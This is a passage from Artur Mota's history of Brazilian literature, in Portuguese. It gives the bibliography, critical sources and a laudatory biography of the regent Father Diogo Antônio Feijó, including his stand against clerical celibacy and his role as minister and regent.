Biblioteca Academia Paulista de Letras – volume 7.
História da Literatura Brasileira TOMO I. vol 3.
LIVRO PRIMEIRO Época de Transformação (século XIX) 2º período (Fase Patriótica)
Artur Mota (Arthur Motta) (1879 – 1936)
CAPÍTULO VI
AS REGÊNCIAS (continuação)
Pertencia ao conselho do imperador, era conselheiro de Estado, dignitário da ordem do Cruzeiro, comendador da de Cristo, da austríaca, da Coroa de Ferro e cavaleiro da ordem portuguesa da Vila Viçosa.
Para maiores esclarecimentos de sua biografia, devem ser consultados: Januário da Cunha Barbosa — "Biografia do Marquês de Caravelas" (Rev. do Inst. Hist., tomo 3, pág. 431) e F. I. M. Homem de Melo — "O Brasil intelectual de 1801" — (Rev. do Inst. Hist., tomo 64, XV); Barão de Vasconcelos — "Arquivo Nobiliárquico Brasileiro", pág. 112.
DIOGO ANTÔNIO FEIJÓ
Nasceu na cidade de S. Paulo, a 17 de agosto de 1784, e nela faleceu, a 9 de novembro de 1843. Batizou-se na Sé, a 17 de agosto de 1784. Era filho de pais incógnitos. Ao nascer, foi exposto em casa do padre Fernando Lopes de Camargo, seu padrinho.
BIBLIOGRAFIA
1) Discurso, na Assembléia Constituinte de Lisboa — Lisboa, 1821.
2) Voto, como membro da comissão do eclesiástico, sobre a proposta do deputado Ferreira França, do casamento dos representantes do clero. Rio, Imprensa Nacional, 1827; (n.° 9.657 do Cat. da Exp.).
3) Resposta às parvoíces, absurdos, impiedades e contradições do padre Luís Gonçalves dos Santos, na obra "Defesa do celibato clerical contra o voto em separado do padre Diogo Antônio Feijó", Rio, 1827.
4) Demonstração da necessidade da abolição do celibato clerical, pela Assembléia Geral do Brasil, e de sua verdadeira e legítima competência nesta matéria. Rio de Janeiro, 1828, 76 págs. in 4.°. Saiu antes em "O Novo Mundo", sob o título "O celibato clerical" e teve nova edição em S. Paulo, em 1887. Apareceram publicações contestando as idéias do Padre Feijó, como: "O celibato clerical", sustentado por um camponês, em o n.° 77 do "Farol Paulistano", Rio, 1828; "Causa da religião e disciplina eclesiástica clerical, defendida da inconstitucional tentativa do Padre D. A. F.", Rio, 1828. O segundo escrito, da autoria de José da Silva Lisboa, (Visconde de Cairu), foi reproduzido no "Guaripocaba", periódico da cidade de Bragança (S. Paulo) de 1880 a 1881.
5) Manifesto aos brasileiros — Rio de Janeiro, 1837.
É um documento histórico, referente à passagem da regência a Pedro de Araújo Lima, depois Marquês de Olinda.
6) Resposta dada ao Senado sobre a pronúncia de cabeça de rebelião, contra ele proferida pelo chefe de polícia da província de S. Paulo, no processo de revolta de 17-5-1842. Rio de Janeiro, Tip. Nacional, 1843, 13 págs. in 4.° (n.° 9.580 do Cat. da Exp.).
7) O retrato do homem de honra e verdadeiro sábio — Saiu no "Almanaque literário de S. Paulo", para 1880, págs. 107 a 117. O cirurgião-mor Francisco Mariano da Costa conserva o autógrafo.
8) O Justiceiro — S. Paulo, 1834-1835, in foi.
9) O Paulista, jornal do governo provisório, fundado em Sorocaba, em 1842. O 1.° número saiu a 27 de maio e o último após a entrada das forças comandadas pelo Barão de Caxias.
Motivou a sua publicação a proclamação do Brigadeiro Rafael Tobias de Aguiar para presidente interino da província.
No "Almanaque de S. Paulo", para 1877, págs. 147 a 150, encontram-se alguns, artigos do padre Feijó.
10) Diogo Antônio Feijó — (Documentos) — 2.° vol. da obra de Eugênio Egas, no qual foram reunidas as obras do padre. Na "Revista do Instituto Histórico" há vários trabalhos a propósito da guerra dos Farrapos (tomo 45, págs. 109 e 139).
FONTES PARA O ESTUDO CRÍTICO
— Afonso de Freitas — Os despojos do padre Feijó e "Rev. do Inst. Hist.", t..83, pág. 471.
— Aguiar (Antônio Augusto de) — Vida do Marquês de Barbacena.
— Alberto Rangel — Livro de figuras, pág. 100.
Alfredo Valadão — Tentativa de golpe de Estado em 1832. Américo Brasiliense — Manuscritos do ex-regente ("Rev. do Inst. Hist.", tomo. 51, pág. 141 — suplemento).
— Armando Prado — Comemoração da vida do padre D. A. F.
— Aureliano Leal — O ato adicional — Reação conservadora, etc.
— Azevedo Marques — Apontamentos históricos da prov. de S. Paulo.
— Euclides da Cunha — À margem da história.
— Eugênio Egas — Diogo A. Feijó — estudo — 2 vols.
— " — Regência trina e una, perfil político de Feijó. (Rev. do Inst..
Hist. e Geog. Brasileiro) — Anais do Congresso de Hist. da. América — 3.° vol. Evaristo da Veiga — Discurso, nos Anais do Parlamento.
— Gomes de Camargo (padre Pedro) — Oração fúnebre.
— Gomes de Carvalho (M. E.) — Os deputados brasileiros nas cortes de Lisbo em 1821.
— Heitor Moniz — O Brasil de ontem, pág. 123.
— Homem de Melo (Barão) — Esboços biográficos — 1." parte, pág. 108.
— Joaquim Nabuco — Um estadista do império.
— José Luís Alves — O regente padre Feijó ("Rev. do Inst. Hist.", tomo 5ª pág. 131).
— Macedo (J. M. de) — O Ano Biográfico.
— Melo Morais (pai) — Biografia de Diogo Antonio Feijó, 1861. Melo Matos — História Constitucional, 1870.
Necrológio do senador D. A. F. por , Rio, 1861.
— Osvaldo Orico — O demônio da regência.
— Osvaldo Orico — Estadistas do império — 1." série, pág. 15.
— Pandiá Calógeras — Da Regência à queda de Rosas.
— Pereira de Vasconcelos (José Marcelino) — Seleta Brasiliense.
— Sacramento Blake — Dic. bibliog. brasileiro, 2.° vol.
— Teodoro Magalhães — A administração na Regência, vol. VI dos Anais dc
Congresso de Hist. da América.
— Vasconcelos Drumond — Memórias (Anais da Bib. Nac).
— Vicente Licínio Cardoso — À margem da História do Brasil, pág. 103.
NOTA: Os tratados e compêndios de História do Brasil tratam de Feijó, de sua ação como ministro da justiça e como regente, especialmente os de Rocha Pombo de João Ribeiro, de Varnhagen, do padre Galanti e de Moreira Azevedo. Devem ser também consultados os "Anais do Parlamento Brasileiro" e a "Revolução de 1842", por João Batista de Morais.
NOTÍCIA BIOGRÁFICA E SUBSÍDIOS PARA O ESTUDO CRÍTICO
A figura do padre Diogo Antônio Feijó começou a ser bem estudada a partir da obra meritória de Eugênio Egas, na qual, além da biografia circunstanciada e bem documentada, foram reunidas as obras que ele escreveu, os discursos proferidos e alguns artigos. Antes, dispúnhamos do esboço biográfico do Barão Homem de
Melo e da história de sua vida, organizada por Melo Morais (pai), além do que sobre ele disseram os historiadores nacionais.
Vejamos primeiro o homem, antes de examinar a sua ação no destino político da nação e de analisar a sua obra.
Sabe-se, que, aos 16 anos, estudou retórica com o professor régio Estanislau José de Oliveira; recebeu ordens sacerdotais em 1809; exerceu o ministério em Guaratinguetá, Parnaíba e Campinas, cidades onde lecionou francês, latim, história e geografia.
Fixou-se, depois, em Itu e ali dedicou-se ao estudo e ensino de filosofia, lógica e moral, e escreveu obras sobre as duas primeiras matérias.
Distinguia-se como homem trabalhador, estudioso e severo cumpridor de deveres, o que lhe granjeou a estima do povo ituano. Respeitavam-no pelo caráter íntegro e austero; e apreciavam-no pelas idéias liberais, todos os que com ele privavam.
Cedo tornou-se adepto da independência do país e, nesse sentido, manifestava opinião franca, exercendo a propaganda das tendências separatistas. Durante a sua longa permanência em Ru, pregava idéias morais e religiosas no púlpito, devotava-se ao ensino de várias disciplinas, dedicava-se a trabalhos de agricultura e indústria, cuidando do plantio de cereais e da cultuna do chá, bem como do fabrico de materiais cerâmicos.
Nas horas vagas, quando conversava com amigos ou se entretinha com os discípulos, manifestava o seu culto cívico, insistindo pela oportunidade da emancipação do Brasil e pela convergência de esforços tendentes ao engrandecimento da pátria.
Fundou um internato em Itu, onde ele lecionava a cadeira de filosofia.
Para demonstrar a integridade e rigidez do seu caráter, Eugênio Egas transcreve uma frase a ele atribuída: "Ou nada digo, ou somente digo o que sinto. Não tenho duas caras. Venço pela força moral e, sendo preciso, pelo emprego das armas". E mostrava os pulsos de aço, para lhe atestar a compleição atlética.
No ano de 1821 foi representar S. Paulo nas cortes de Lisboa. A sua impávida atitude assombrou os deputados portugueses. Para não assinar e jurar a constituição, retirou-se, juntamente com outros deputados brasileiros, para Falmouth e de lá veio para o Brasil.
Quando chegou a Pernambuco, já se havia proclamado a nossa independência.
Em 1823 Feijó representou ao monarca contra José Bonifácio, contra quem sempre manteve prevenção. Não apreciava os Andradas.(2)
Após o regresso de Lisboa, fixou residência na chácara do Paraíso, situada na Mooca, em S. Paulo.
Durante a 1.a legislatura (1825-29) da Assembléia Geral, exerceu o mandato de deputado, como suplente, substituindo o Visconde de S. Leopoldo, nomeado senador. Foi novamente eleito para a 2.a legislatura (1830-33). Fez parte do conselho do governo da província de S. Paulo, criado pela lei de 20.10.1823, foi deputado provincial e exerceu o cargo de vice-presidente da província, de 1835 a, 1836.
Notável tornou-se a sua ação de político e administrador, como ministro da justiça do 1.° gabinete da regência trina permanente (1831-32). Entrou para o Senado em 1833, e exerceu a regência do Império, desde 12.10.1835 até 18.9.1837.
É admirável a ação desse homem na vida pública. De origem obscura e até ignorada, com o estigma cruelmente marcado pela sociedade, pelo fato de ser filho espúrio de pais incógnitos, exposto no limiar da morada de um sacerdote, conseguiu empreender a educação do espírito, sem se distinguir pelo talento nem pela aplicação. Pela força hercúlea da vontade conquistou a estima dos que o conhe ceram intimamente, até se impor à admiração de um círculo mais dilatado do interior de S. Paulo.
A sua atitude enérgica e desassombrada perante as cortes portuguesas recomendou-o à simpatia nacional. A indicação memorável, lida por ele no parlamento de Lisboa, e justificada por um breve discurso, causou espanto na metrópole e deu ensejo a verdadeira celeuma, porque exaltou o valor da representação brasileira e impôs–lhe o respeito perante os congressistas lusitanos.
Nova atitude impressionante teve ele no ato de representação a D. Pedro I, contra José Bonifácio, porque o capitão-mor da vila do Itu recebera ordem direta do ministério para observar seus atos e conduta, "porque era (ele) fingido e tinha idéias desorganizadoras".
Era o espírito liberal que se insurgia contra o excesso de prudência do poder e o ponto de vista conservador.
A mesma impressão de espanto causou o seu voto separado ao parecer sobre a indicação do deputado Ferreira França, propondo a abolição do celibato clerical. E recrudesceu o pasmo, quando ele enfrentou D. Romualdo de Seixas — arcebispo da Bahia. Mas culminou a estupefação, quando ele apresentou e publicou a "Demonstração da necessidade da abolição do celibato clerical", obra que causou escândalo na imprensa do Rio e de S. Paulo, e agitou o parlamento. Vários jornais atacaram o deputado-sacerdote e alguns escritores refutaram as suas idéias, salientando-se José da Silva Lisboa (Vde. de Cairu), Luís Gonçalves dos Santos (o padre Perereca) e D. Romualdo (arcebispo).
(2) Vide Representação à pág. 36 do livro "Diogo A. F.", de Eugênio Egas.
Não é aqui o lugar próprio para discutir a tese e apreciar a argumentação dos contendores. Milita a favor do projeto o princípio da moralidade, combatendo o concubinato das comadres e a triste sorte dos afilhados. São argumentos adversos: a necessidade de se manter o desprendimento e abnegação dos pastores de almas transviadas, o princípio fundamental da caridade e de altruísmo, o sacrifício imposto aos sacerdotes que devem desenvolver a vida espiritual e manter os síndromos do misticismo, sem hipocrisia nem excessos. A constituição da família desenvolve instintos egoísticos, embora nobres, incompatíveis com as funções de um ministro da Igreja.
Feijó, porém, se impôs ao respeito da coletividade, à gratidão nacional e à admiração da posteridade, pela coragem cívica e devo-tamento à causa pública, por ser um chefe de ação enérgica e decisiva quando foi ministro e regente.
O homem de governo era dotado de previsão política; sabia enfrentar e combater as crises com resoluções expeditas e oportunas. Tornou-se respeitado, porque era resoluto, imperioso e não temia as conseqüências dos seus atos premeditados e executados sem tergiversações.
As suas virtudes máximas de estadista estribado na inflexibilidade do seu caráter impoluto e na rigorosa probidade tantas vezes comprovada, consistiram na repressão enérgica aos movimentos revolucionários das províncias, conseqüentes à dissolução da Consti tuinte, e na reação contra o federalismo desenfreado, resultante de se haver promulgado o Ato Adicional. Venceu a anarquia militar de 1831 a 1832, servindo-se da guarda nacional, organizada pelo elemento civil, e demonstrou a intrepidez inaudita de dissolver o exército que se divorciara da opinião pública, convulsionado em contínuas sedições, causando verdadeiros malefícios à nação.
As perturbações da ordem sucediam-se em vários pontos do país. De um lado os absolutistas e restauradores, saudosos da corte, áulicos que não podiam conformar-se com o governo das regências, congregaram-se na Sociedade Conservadora, denominada Sociedade Militar, a partir do ano de 1832. De outro, surgiam os exaltados, também reunidos na Sociedade Federal. Eram os extremistas da época. Pugnavam pela federação, pela autonomia das províncias. Terceiro partido — o dos moderados — formou-se na Sociedade Defensora d: Liberdade e. Independência.
Coube a Feijó desenvolver uni plano severo e rígido para o restabelecimento da ordem pública, exercendo ação promíscua de dirigente e executor. E para realizar o seu programa patriótico, de abnegado desprendimento e de verdadeiro sacrifício, não trepidou em assumir atitudes de verdadeiro chefe de polícia, preservando a unidade nacional dos profundos abalos tendentes à descentralização e, portanto, à conseqüente secessão.
Na união efetiva do grande bloco indivisível, resistindo aos esforços separatistas, resultantes do federalismo criado pelo Ato Adicional, consistiu o objetivo primordial do seu plano administrativo de governo.
A sua política centralizadora, sustentada admiravelmente por Evaristo da Veiga, evitou o desmembramento do imenso território, contrariando a ação da força centrífuga, de intensidade exagerada para o momento, por meio de elos suplementares.e de todos os artifícios capazes de representar função de resistências centrípetas, opondo-se à fatalidade da desagregação.
Como regente, chegou a promulgar uma lei, cujos efeitos visavam a garantia do sistema unitário, por meio de vias de comunicação ferroviárias, marítimas e fluviais.
Governo forte, obediência à lei e garantia dos direitos, constituíram as suas divisas de estadista.
Não se limitou, porém, a combater as insurreições que ameaçavam o equilíbrio do sistema político e a integridade da nação, pela manifestação de opiniões negativistas e de atos demolidores. Revelou, também, idéias de profunda expressão liberal, como as de extinção do tráfico africano, de imigração européia, de abolição do celibato clerical e de outras reformas avançadas para o tempo.
Como chefe de Estado era bastante enérgico e violento, quando se fazia mister, como demonstrou com José Bonifácio, cassando-lhe a tutoria do príncipe.
Mas assinalou-se a sua atitude perante a história pátria, pelos dois grandes serviços prestados à nação: sufocar as tendências separatistas e a manutenção da ordem, prestigiando o princípio de autoridade.
Sobre Diogo Feijó, assim se exprimiu Pandiá Calógeras, em juízo incisivo: "Honestidade absoluta; abnegação ilimitada; amor à pátria, dominador único de seu pensamento e de sua ação; senso profundo da ordem, e paixão por mantê-la; exigindo muito de seus auxiliares, porque de si próprio exigia tudo; desambicioso e nobre; era um modelo de funcionário cumpridor de seus deveres, e exclusivamente inspirado no bem público. Governou com o escopo de reprimir a desordem. Conseguiu, em muitos casos, cumprir essa missão".
Caracterizavam-no bem o desprendimento de vaidades, a renúncia de honrarias é proventos, a abdicação do mando pessoal e de quaisquer distinções, e o inteiro devotamento ao bem público e à causa nacional.
A sua dissensão com o clero não representava manifestação de heresia, conforme ele confessou em seu testamento, dizendo: "Sou e sempre fui católico romano; tudo quanto fiz contra a Igreja tem sido por seu zelo". Mas, como se manifestara adverso ao dogma inabalável do catolicismo, recusou a nomeação para o bispado de Mariana.
A figura de Feijó é inteiriça, no aspecto moral. Se mais relevantes serviços não prestou ao país, dentro da órbita em que podia agir com desembaraço e proveito, deve-se à curta permanência no poder. Foi passageira a atuação do ministro e muito efêmera a administração do regente.
Feijó distinguiu-se pela energia e, na defesa da ordem, chegou à violência. Era, porém, infenso à tirania, ao despotismo. Quando sentia faltar-lhe o apoio indispensável ao governo, renunciava os cargos de que estava investido e transmitia o poder a quem devia sucedê-lo. Não possuía ambição nem intuitos de se manter em postos elevados. Só visava prestar serviços à pátria, enquanto se sentia amparado pela opinião pública.
A leitura dos seus avisos, quando ministro da justiça, incute-nos a convicção do valor de Feijó. Nesses atos revelam-se bem nítidos e sinceros os intuitos do administrador, de pacificar os espíritos exaltados e de implantar a ordem indispensável ao progresso do país e de reprimir os crimes da escravidão dos infelizes negros.
A propósito do aviso suspendendo as cartas de seguro, o deputado Montezuma apresentou à câmara uma denúncia contra o ministro da justiça, porque o seu ato era ilegal e mesmo inconstitucional, pois desrespeitara o poder judiciário e invadira atribuições do legislativo. Tornou-se memorável a discussão, manifestando-se contrários a Feijó os seguintes deputados: Rebouças, Castro Alves, Montezuma. Paula Cavalcanti, E. Ferreira França e Holanda Cavalcanti. Manifestaram-se a favor: Paraíso, Xavier de Carvalho, Melo Matos, May e Carneiro Leão.
Votaram 15 pela procedência da denúncia e 57 contra.
Novo incidente se verificou, provocado pelos comentários acrimoniosos do deputado Luís de Paula Cavalcanti aos termos de alguns ofícios do ministro da justiça. Nessa ocasião Evaristo da Veiga proferiu notável discurso, defendendo o ministro e apontando Feijó como credor da gratidão nacional. "São tão grandes, disse ele, os seus serviços prestados a favor da liberdade legal e da ordem interna de nossa pátria, que se devia lançar um véu sobre alguns possíveis erros que porventura tenha cometido. A probidade e a honra de caráter que o ministro da justiça possui, não pode ser manchada, não se lhe pode imputar a menor corrupção."
Eloqüente bastante, mas da eloqüência cristalina que brota da verdade, isenta de artifícios, sem os vislumbres e ouropéis da eloqüência retórica; é a exposição feita por Diogo Feijó à Câmara dos Deputados, relatando a situação do país, no ponto de vista da tranqüilidade e segurança pública e da administração da justiça. Ali se pinta, com colorido adequado, o quadro representativo da marcha progressiva do espírito revolucionário no Brasil.
A leitura desse documento histórico, de franqueza rude, se impõe aos revolucionários de hoje, porque os fenômenos políticos de 1831 se reproduzem em nossos dias e estão a reclamar a aparição de novo Feijó.
Martini Francisco criticou o relatório e estabeleceu o confronto entre a administração do ministério dos Andradas e a daquele em que Feijó dirigia a pasta da justiça. Mas o ministro deu-lhe o troco quatro dias depois, com um discurso digno da atenção de todos os brasileiros interessados pelo conhecimento da nossa história política, no período da regência trina. E prosseguia a discussão, com a vitória de Feijó, que conseguira transferir a tutoria, de José Bonifácio para o Marquês de Itanhaém.
Manifestou-se a gratidão popular, elegendo o ex-ministro da justiça para o Senado, como representante da província do Rio de Janeiro, e mais tarde deu-lhe maioria de sufrágios para o elevado posto de regente do império do Brasil.
Continuou o regente a desenvolver o plano do ministro, medindo forças com temível adversário — Bernardo de Vasconcelos — que se tornou o chefe da oposição. É notável o "Manifesto aos brasileiros", quando ele transferiu o poder a Pedro de Araújo Lima.
A individualidade, fortemente expressiva e impressionante, de Feijó deve ser apreciada por seus atos, porque ele era sobretudo um homem de ação; mas já é tempo de se examinar a sua obra escrita.
No 2.° volume da obra de Eugênio Egas foram reunidos os trabalhos do escritor: Notas sobre "Lógica", que lhe serviam durante a fase do magistério; "Noções preliminares de filosofia", também escritas quando lecionava a matéria em Itu; alguns discursos, dos que proferiu; a correspondência epistolar; a sua defesa; e a parte escrita, referente à abolição do celibato clerical.
Não se caracterizam como obras literárias, propriamente ditas. São documentos flagrantes para o estudo do seu caráter varonil e da ação do estadista. Indispensáveis se tornam para o estudo da mentalidade brasileira em todas as suas manifestações.
Terminada a sua carreira politica, recolheu-se Feijó à vida privada, com modéstia e simplicidade, no bucolismo reparador de tantas agitações e de tantas injustiças amargamente sofridas. Dedicou-se a trabalhos rurais, no sítio de Campinas, onde ficou paralítico, em 1842. Transferiu-se, então, para Sorocaba, onde se envolveu em uma conspiração.
Preso pelo Barão de Caxias, foi removido para Santos e daí para o Espírito Santo.
Submetido a processo, por crime de sedição, fez a própria defesa, no recinto do Senado.
Já havia assumido a responsabilidade do movimento sedicioso e resolveu o Senado que fosse considerado "cabeça de rebelião e continuado o seu processo".
Seis dias depois, em S. Paulo, agravaram-se os seus inales. A paralisia dominou-o lentamente, e a agonia prolongou-se até 9 de novembro de 1843.
Não mereceu um necrológio da imprensa nem qualquer outra homenagem.
SUMÁRIO PARA O ESTUDO COMPLETO
Da soleira ao trono — A sorte de um enjeitado — Agasalho de sacerdote — O estudo transforma o destino — O padre Feijó — Em ítu — Nas cortes de Lisboa — Na cena da política — 0 deputado liberal — Contra o celibato — Caráter adamantino — O ministro da regência — Julgado no plenário — Pulso de ferro — Gratidão nacional — Atos do regente — Ostracismo voluntário — Vida bucólica
— Hodie mihi eras tibi — As obras do professor de filosofia — Ação do jornalista — A correspondência — Os discursos — Exposições e programas — No declínio — Epílogo tétrico — No olvido do túmulo
— Ressurreição de um herói — Julgado à maneira de Plutarco — Na galeria de Carlyle — Super-homem de Nietzsche? — Apreciado por brasileiros — A história se repete — Reencarnação necessária.
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